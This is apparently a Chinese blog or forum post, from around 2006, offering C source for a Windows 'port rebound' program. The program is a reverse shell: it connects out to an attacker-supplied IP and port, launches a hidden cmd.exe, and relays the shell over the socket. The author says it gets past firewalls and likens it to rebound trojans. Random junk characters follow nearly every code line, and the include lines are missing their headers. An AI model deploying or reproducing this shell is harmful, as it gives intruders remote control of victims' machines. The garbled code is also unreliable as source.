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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y%eFXYk.  
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/* ============================== QT)D|]bH  
Rebound port in Windows NT wq+%O,  
By wind,2006/7 gx,BF#8}  
===============================*/ mhU ?N  
#include W?is8r:  
#include 6%?bl{pNn  
Z&BJ/qk \-  
#pragma comment(lib,"wsock32.lib") ]U?)_P@}  
/<ODP6Yy;  
void OutputShell(); GxjmHo  
SOCKET sClient; BSU%.tmI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8ExEhBX8  
)%H@.;cD_r  
void main(int argc,char **argv) @ )nxX))a  
{ =*<Cw?Gc  
WSADATA stWsaData; m?wPZ^u  
int nRet;  @Tk5<B3  
SOCKADDR_IN stSaiClient,stSaiServer; <=D !/7$ O  
ixc~DV+@[  
if(argc != 3) G- nS0Kn:  
{ R <Mvwu  
printf("Useage:\n\rRebound DestIP DestPort\n"); bn$a7\X-  
return; ffDh 0mDN  
} E$!0h_.(  
G?Fqm@J{XT  
WSAStartup(MAKEWORD(2,2),&stWsaData); -!w({rP  
qI (<5Wxl  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :K J#_y\rt  
;;|S QX  
stSaiClient.sin_family = AF_INET; R<wPO-dX  
stSaiClient.sin_port = htons(0); BCUn[4Gp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /~=W3lhY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LEu_RU?  
{ k/'>,WE  
printf("Bind Socket Failed!\n"); Z|l/6L8  
return; J4Yu|E<&  
} }C6RgE.6<  
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stSaiServer.sin_family = AF_INET; =Rv!c+?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N`o[iHUj \  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V+04X"  
{DfXn1Cg0U  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FZdZGK  
{ CG!7BP\  
printf("Connect Error!"); {k:W?`  
return; VSf<(udGr  
} rt +a/:4+  
OutputShell(); z#DgoA  
} E(%_aFx>/  
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void OutputShell() j_w"HiNBA  
{ i6Zsn#Z7)  
char szBuff[1024]; _d<xxF^q  
SECURITY_ATTRIBUTES stSecurityAttributes; kF,_o/Jc  
OSVERSIONINFO stOsversionInfo; Cf&.hod  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v2ab  
STARTUPINFO stStartupInfo; QY)hMo=|o8  
char *szShell; R#8.]  
PROCESS_INFORMATION stProcessInformation; Nj~3FL  
unsigned long lBytesRead;  AW[_k%  
J%9)&a W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4n}tDHvd  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RH^!7W*  
stSecurityAttributes.lpSecurityDescriptor = 0; u( kacQ7  
stSecurityAttributes.bInheritHandle = TRUE; 3fdx&}v/  
-(ev68'}W  
A.[~}ywH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %t.L;G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cZVVJUF  
l:'\3-2a  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S! Z2aFj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^*-6PV#Z  
stStartupInfo.wShowWindow = SW_HIDE; 6!& DH#M  
stStartupInfo.hStdInput = hReadPipe; r:xbs0 7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cJ ^:b4j  
PP1?UT=]  
GetVersionEx(&stOsversionInfo); * |dz.Tr  
j*7#1<T  
switch(stOsversionInfo.dwPlatformId)  -9f+O^x  
{ BNj@~uC{  
case 1: 4ju=5D];   
szShell = "command.com"; 7~f"8\  
break; C*C;n4AT  
default: JI5%fU%O#n  
szShell = "cmd.exe"; k/lU]~PE  
break; [v%j?  
} p$S\l] ,  
f[wA ]&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vGIe"$hNh  
C]- !u Ly  
send(sClient,szMsg,77,0); _`Lv@T.  
while(1) 4lCEzWo[/  
{ Mtw7aK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k1h>8z.Tg  
if(lBytesRead) @)^|U"  
{ GJeP~   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <F%c"Rkh  
send(sClient,szBuff,lBytesRead,0); t5M"M{V  
} s+fjQo4  
else $URL7hrhU  
{ LA9'HC(5  
lBytesRead=recv(sClient,szBuff,1024,0); 3<"!h1x5  
if(lBytesRead<=0) break; 1+Z@4;fk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cOa){&u  
} x 8_nLZ  
} vB<2f*U  
8hZY Z /T  
return; V1]QuQ{&s  
}
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